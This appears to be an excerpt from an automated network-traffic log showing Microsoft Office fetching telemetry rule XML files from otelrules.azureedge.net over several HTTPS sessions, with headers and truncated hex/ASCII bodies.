2024-10-18 22:14:11 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.10	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:11 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:11 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:11 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: dbfbfd2a-901e-0083-7326-21bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221411Z-15b8d89586fdmfsgn8gw8tkkbc00000005e000000000pqtu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:11 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.10	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:11 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:11 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:11 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: a6b4f5d3-c01e-0014-56d8-1ea6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221411Z-r197bdfb6b4kq4j5t834fh90qn000000025000000000hybr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:11 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.10	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:11 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:11 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:11 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: cc87dcdd-201e-003f-3dc9-206d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221411Z-15b8d89586f2hk2885zk3a4enc00000005h000000000ranu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:11 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.10	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:11 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:11 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:11 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a7e9f920-901e-005b-7bd8-1e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221411Z-16b659b44994sjcfes83c39y4000000009g000000000s2b5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:11 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.10	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:12 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:12 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:12 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: a7e9faf1-901e-005b-2ed8-1e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221412Z-16b659b4499r9jvzdsrvx9g86w0000000a5000000000sms2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:12 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.10	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:12 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:12 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:12 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 36b15b9b-c01e-0082-6ad8-1eaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221412Z-16b659b44994gzgd4bz42hx7vg0000000b40000000006dwu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:12 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.10	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:12 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:12 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:12 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 43a06c32-101e-008e-71d8-1ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221412Z-16b659b4499pnh69zuen6a54mc0000000b8000000000f59q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:12 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.10	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:12 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:12 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:12 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: afc1423d-101e-0034-03d8-1e96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221412Z-16b659b4499qzkzdaxyf40k2c00000000axg000000002m2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:12 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.10	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:12 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:12 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:12 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: a60dd697-201e-0000-33d8-1ea537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221412Z-15b8d89586fdmfsgn8gw8tkkbc00000005hg00000000bsuu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:12 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.10	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:13 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:13 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:13 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 84579f05-f01e-005d-7e9a-1f13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221413Z-r197bdfb6b4ld6jca8vdwzkams00000000q0000000001wtc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:13 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.10	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:13 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:13 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:13 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: c52a0825-301e-001f-78d8-1eaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221413Z-16b659b44994c5rr2b3ze9shcc0000000b0g00000000w5hq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
